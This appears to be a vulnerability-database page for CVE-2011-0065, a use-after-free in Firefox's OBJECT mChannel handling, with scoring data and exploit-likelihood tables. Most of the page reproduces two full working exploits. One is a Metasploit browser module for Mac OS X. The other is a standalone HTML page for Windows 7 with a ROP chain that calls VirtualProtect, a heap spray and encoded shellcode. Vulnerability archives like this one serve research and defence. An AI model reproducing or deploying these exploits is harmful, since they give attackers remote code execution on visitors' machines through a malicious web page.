CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Use-after-free vulnerability in Mozilla Firefox before 3.5.19 and 3.6.x before 3.6.17, and SeaMonkey before 2.0.14, allows remote attackers to execute arbitrary code via vectors related to OBJECT's mChannel.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
84.95%
–
–
2022-04-10
–
–
84.19%
–
–
2022-07-03
–
–
83.71%
–
–
2023-03-12
–
–
–
96.91%
–
2023-04-02
–
–
–
96.84%
–
2023-05-28
–
–
–
96.85%
–
2023-06-04
–
–
–
96.85%
–
2023-07-23
–
–
–
96.88%
–
2023-09-17
–
–
–
96.93%
–
2023-12-31
–
–
–
96.9%
–
2024-02-18
–
–
–
96.91%
–
2024-06-02
–
–
–
96.91%
–
2024-07-07
–
–
–
96.92%
–
2024-11-17
–
–
–
96.97%
–
2025-01-19
–
–
–
96.97%
–
2025-03-18
–
–
–
–
82.85%
2025-03-30
–
–
–
–
83.26%
2025-03-30
–
–
–
–
83.26,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.16",
:ua_maxver => "3.6.16",
:os_name => OperatingSystems::MAC_OSX,
:javascript => true,
:rank => NormalRanking,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
'Description' => %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). Mac OS X version by argp,
tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # discovery
'Rh0', # windows metasploit module
'argp <argp[at]census-labs.com>' # mac os x target
],
'References' =>
[
['CVE', '2011-0065'],
['OSVDB', '72085'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
],
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'osx',
'Targets' =>
[
[
'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x2727,
'Fakefunc' => 0x2727001c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 10 2011'
))
end
def on_request_uri(cli, request)
# Random JavaScript variable names
js_element_name = rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name = rand_text_alpha(rand(10) + 5)
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
js_block_name = rand_text_alpha(rand(10) + 5)
js_array_name = rand_text_alpha(rand(10) + 5)
# check for non vulnerable targets
agent = request.headers['User-Agent']
if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
print_error("Target not supported: #{agent}") if datastore['VERBOSE']
send_not_found(cli)
return
end
# Re-generate the payload
return if ((payload = regenerate_payload(cli).encoded) == nil)
payload_buf = ''
payload_buf << payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
# setup the fake memory references
my_target = targets[0] # in case we add more targets later
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
exploit_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
#{js_element_name}.onChannelRedirect(null, new Object, 0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
while(#{js_ret_addr_name}.length < 0x120)
{
#{js_ret_addr_name} += #{js_ret_addr_name};
}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
while(#{js_final_chunk_name}.length < 0x800000)
{
#{js_final_chunk_name} += #{js_final_chunk_name};
}
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
#{js_array_name} = new Array()
for(n = 0; n < 0x220; n++)
{
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
html = <<-HTML
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
#{exploit_js}
</script>
</body>
</html>
HTML
#Remove the extra tabs
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end
<html>
<body>
<applet code="rubik.class" width=140 height=140></applet>
<p><b>Mozilla mChannel Object use after free</b><br />
- Found by regenrecht<br />
- MSF exploit by Rh0<br />
- Win 7 fun version by mr_me</p>
<!--
Notes:
- This exploit requires <= java 6 update 25.
- optimized heap spray and still works on mutiple tabs as
the spray is large enough to hit the 0x10000000 block.
- If you really want the class file you can get it here:
http://javaboutique.internet.com/Rubik/rubik.class,
but java still loads without it.
- Tested on windows 7 ultimate (latest updates).
- http://bit.ly/qD4Jkc
-->
<object id="d"><object>
<script type="text/javascript">
function trigger(){
alert('ready?');
fakeobject = document.getElementById("d"); // allocate the object
fakeobject.QueryInterface(Components.interfaces.nsIChannelEventSink); // append to the objects available functions
fakeobject.onChannelRedirect(null,new Object,0); // free it
/*
fill the object with a fake vtable reference
just use the start of a block for simplicity and use \x00
because it expands to a NULL so that
when we have have the CALL DWORD PTR DS:[ECX+18], it will point to 0x10000000
*/
fakevtable = unescape("\x00%u1000");
var rop = "";
// 3 instructions to pivot cleanly
rop += unescape("%u1033%u6d7f"); // 0x6D7F1033 -> MOV EAX,[ECX] / PUSH EDI / CALL [EAX+4] <jvm.dll>
rop += unescape("%u10a7%u6d7f"); // 0x6D7F10A7 -> POP EBP / RETN <jvm.dll>
rop += unescape("%u1441%u6d7f"); // 0x6D7F1441 -> XCHG EAX,ESP / RETN <jvm.dll>
// generic rop taken from MSVCR71.dll (thanks to corelanc0d3r)
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%ua140%u7c37"); // 0x7c37a140 -> Make EAX readable
rop += unescape("%u591f%u7c37"); // 0x7c37591f -> PUSH ESP / ... / POP ECX / POP EBP / RETN
rop += unescape("%uf004%ubeef"); // 0x41414141 -> EBP (filler)
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%ua140%u7c37"); // 0x7c37a140 -> *&VirtualProtect()
rop += unescape("%u30ea%u7c35"); // 0x7c3530ea -> MOV EAX,[EAX] / RETN
rop += unescape("%u6c0b%u7c34"); // 0x7c346c0b -> Slide, so next gadget would write to correct stack location
rop += unescape("%u6069%u7c37"); // 0x7c376069 -> MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
rop += unescape("%uf00d%ubeef"); // 0x41414141 -> EDI (filler)
rop += unescape("%uf00d%ubeef"); // 0x41414141 -> will be patched at runtime (VP), then picked up into ESI
rop += unescape("%uf00d%ubeef"); // 0x41414141 -> EBX (filler)
rop += unescape("%u6402%u7c37"); // 0x7c376402 -> POP EBP / RETN
rop += unescape("%u5c30%u7c34"); // 0x7c345c30 -> ptr to 'push esp / ret '
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%udfff%uffff"); // 0xfffffdff -> size 0x00000201 -> ebx, modify if needed
rop += unescape("%u1e05%u7c35"); // 0x7c351e05 -> NEG EAX / RETN
rop += unescape("%u4901%u7c35"); // 0x7c354901 -> POP EBX / RETN
rop += unescape("%uffff%uffff"); // 0xffffffff -> pop value into ebx
rop += unescape("%u5255%u7c34"); // 0x7c345255 -> INC EBX / FPATAN / RETN
rop += unescape("%u2174%u7c35"); // 0x7c352174 -> ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
rop += unescape("%ud201%u7c34"); // 0x7c34d201 -> POP ECX / RETN
rop += unescape("%ub001%u7c38"); // 0x7c38b001 -> RW pointer (lpOldProtect) (-> ecx)
rop += unescape("%ub8d7%u7c34"); // 0x7c34b8d7 -> POP EDI / RETN
rop += unescape("%ub8d8%u7c34"); // 0x7c34b8d8 -> ROP NOP (-> edi)
rop += unescape("%u4f87%u7c34"); // 0x7c344f87 -> POP EDX / RETN
rop += unescape("%uffc0%uffff"); // 0xffffffc0 -> value to negate, target value : 0x00000040, target: edx
rop += unescape("%u1eb1%u7c35"); // 0x7c351eb1 -> NEG EDX / RETN
rop += unescape("%u6c0a%u7c34"); // 0x7c346c0a -> POP EAX / RETN
rop += unescape("%u9090%u9090"); // 0x90909090 -> NOPS (-> eax)
rop += unescape("%u8c81%u7c37"); // 0x7c378c81 -> PUSHAD / ADD AL,0EF / RETN
sc = rop;
// nice big 'calccode' (0x400 bytes)
sc += unescape("%uf869%u0d93%u3578%u7704%u902d%u432c%u249f%uba46%u983c%ub299%ufe13%uf9c0"+
"%u784f%u2f7c%u4fa9%u7a76%ub235%u7027%u2f73%ub937%ud380%u0de3%u157f%u93b5%ubfba%u4291"+
"%ufc03%u3d40%u729f%u9b24%u7e7b%u3814%u8dfd%u2592%u892c%u01e0%uf9d0%u41b1%uf731%u75e1"+
"%ubb3f%u7d79%uf811%u6734%u992d%u4b49%u6690%u71b4%ua847%u094a%u05eb%u4eb3%ud119%u3ae2"+
"%u0cd6%u96be%ub0b8%u4697%u98b7%u1048%ub6d5%u1c04%uf56b%u201d%u74d4%u773c%u727f%u7b7d"+
"%u7e7c%u7571%u9743%u1c49%ubb90%u4e74%u3cb5%ua993%ub09f%u73ba%ud522%u8d4f%u98be%u3304"+
"%u88f5%u43d4%u92b4%u7ab8%ud60a%u1da8%ub14a%uf82a%ub7b2%u2c41%u3b79%u05fd%u85b9%u76e0"+
"%ufc1a%u4b35%u9647%u8134%u24e1%u8366%u48e3%u4214%u870c%uebd2%u3f78%u9bb3%uff1b%uc1c7"+
"%u67e2%u910d%u70b6%u4615%u2d25%u772f%u993d%ubf27%u1240%u37f9%u7a77%u7279%u9167%u2f76"+
"%ubeb5%u15b6%u7d7f%u303f%u40e3%u11b7%u19e0%u39e2%u04fc%ua8ba%u991d%ud518%u41bb%u78bf"+
"%u9834%ub8b4%u270d%u8390%u4ffd%u31b1%u70e1%u4349%u86b3%u9ff5%u331c%ud6f7%u667e%ua93c"+
"%u9b8d%uf687%u46d4%u4293%u7314%u3d35%u257b%u4a97%u37b0%u2496%u4b74%u2c75%u92b9%u2d7c"+
"%u4748%u694e%uebd3%uf829%u08b2%u71f9%u790c%u717a%u227b%u05e2%u3cb8%u9fb6%u7896%uf903"+
"%u217e%ubfd6%u4e91%u3db3%u777c%u0d76%u7372%u1541%ub2ba%u342c%u9048%ud484%ue189%u4f05"+
"%u677f%ubbb9%u4370%u7d74%u1c75%ua92d%u1342%u93f5%u090c%u12e3%u92f8%u662f%u49b0%u8d99"+
"%ub44b%uc688%uebc0%u474a%u2b37%u46fc%u0a9b%u04fd%ue086%u2740%ua8be%u35b5%u3f97%u24b1"+
"%u1498%u25b7%u7c1d%u0b7f%ub1d5%u410c%u1047%u7deb%ue228%u7672%u7e78%u7177%u1b73%ufdd0"+
"%u3bb2%u3ce0%u7515%u4e25%uf52a%u70b9%u3540%u9993%ubf2c%u85b5%u79fc%u3474%u377b%ud26b"+
"%ubed5%u982d%ue33a%u9243%u7a14%ub33d%u9048%ubb8d%u9b24%u2f46%u20b0%uf9d1%ub897%ua866"+
"%ub4b7%ua996%ub642%ue180%u4a27%u1a77%u9fd4%u017e%u18eb%u8cf8%ubad6%u1c7c%u497f%u7467"+
"%u784f%u914b%u3271%u04e0%u0d7a%u1d79%u397b%ue2c1%u7d05%u933f%u70b1%ub324%u3cb8%u6642"+
"%u961c%u9b27%u72bf%ue338%ub53d%u3040%ub4fc%u7646%uf525%u029f%ubad5%u0cf8%u3fa9%u7514"+
"%ubb0d%u23e1%ub9d6%u05d4%u378d%ub243%ub735%u1573%u4798%u2c48%ua84b%ufd41%u4f2d%u1db6"+
"%u9049%uf981%ube04%u3491%u924e%ub097%u2f4a%u9967%u8dbe%u5994%udbe7%ud9da%u2474%u58f4"+
"%uc929%u33b1%u7031%u8312%u04c0%ufd03%ubb9a%u0112%ub24a%uf9dd%ua58b%u1c54%uf7ba%u5503"+
"%uc7ef%u3b40%ua31c%uaf05%uc197%uc081%u6f10%ueff4%u41a1%ua338%uc362%ub9c4%u23b6%u72f4"+
"%u22cb%u6e31%u7624%ue5ea%u6797%ubb9f%u892b%ub04f%uf114%u06ea%u4be0%u56f4%uc759%u4ebe"+
"%u8fd1%u6f1e%ucc36%u2663%u2733%ub917%u7995%u88d8%ud6d9%u25e7%u27d4%u812f%u5207%uf25b"+
"%u65ba%u8998%ue360%u293d%u53e2%uc8e6%u0527%uc66d%u418c%uca29%u8513%uf641%u2898%u7f86"+
"%u0eda%u2402%u2fb8%u8013%u4f6f%u6c43%uf5cf%u9e0f%u8f04%uf44d%u1ddb%ub1e8%u1ddc%u91f3"+
"%u2cb4%u7e78%ub0c2%u3bab%ufb3c%u6df6%ua2d5%u2c62%u54b8%u7259%ud6c5%u0a68%uc632%u0f18"+
"%u407e%u7df0%u25ef%ud2f6%u6c10%ub595%uec82%u5074%u9623%u4188");
// create a string with a ptr to the offset of our rop
// used 0x1000001c to accomidate 0x18 + 0x4 (1st rop gadget)
var filler = unescape("%u001c%u1000");
while(filler.length < 0x100) {filler += filler;}
/*
create a string with 0x18 bytes at the start containing ptr's to the rop.
This is to account for the vtable offset (0x18) -> 'CALL DWORD PTR DS:[ECX+18]'
Then fill with sc + junk
*/
var chunk = filler.substring(0,0x18/2);
chunk += sc;
chunk += filler;
// create a string of size 64k in memory that contains sc + filler
var heapblock = chunk.substring(0,0x10000/2);
// keep adding more memory that contains sc + filler to reach 512kB
while (heapblock.length<0x80000) {heapblock += heapblock;}
/*
using a final string of 512kB so that the spray is fast but ensuring accuracy
- sub the block header length (0x24)
- sub 1/4 of a page for sc (0x400)
- sub the string length (0x04)
- sub the null byte terminator
*/
var finalspray = heapblock.substring(0,0x80000 - sc.length - 0x24/2 - 0x4/2 - 0x2/2);
// optimised spray, precision can still be reliable even with tabs.
// force allocation here of 128 blocks, using only 64MB of memory, speeeeeeed.
arrayOfHeapBlocks = new Array()
for (n=0;n<0x80;n++){
arrayOfHeapBlocks[n] = finalspray + sc;
}
}
trigger();
</script>
</body>
</html>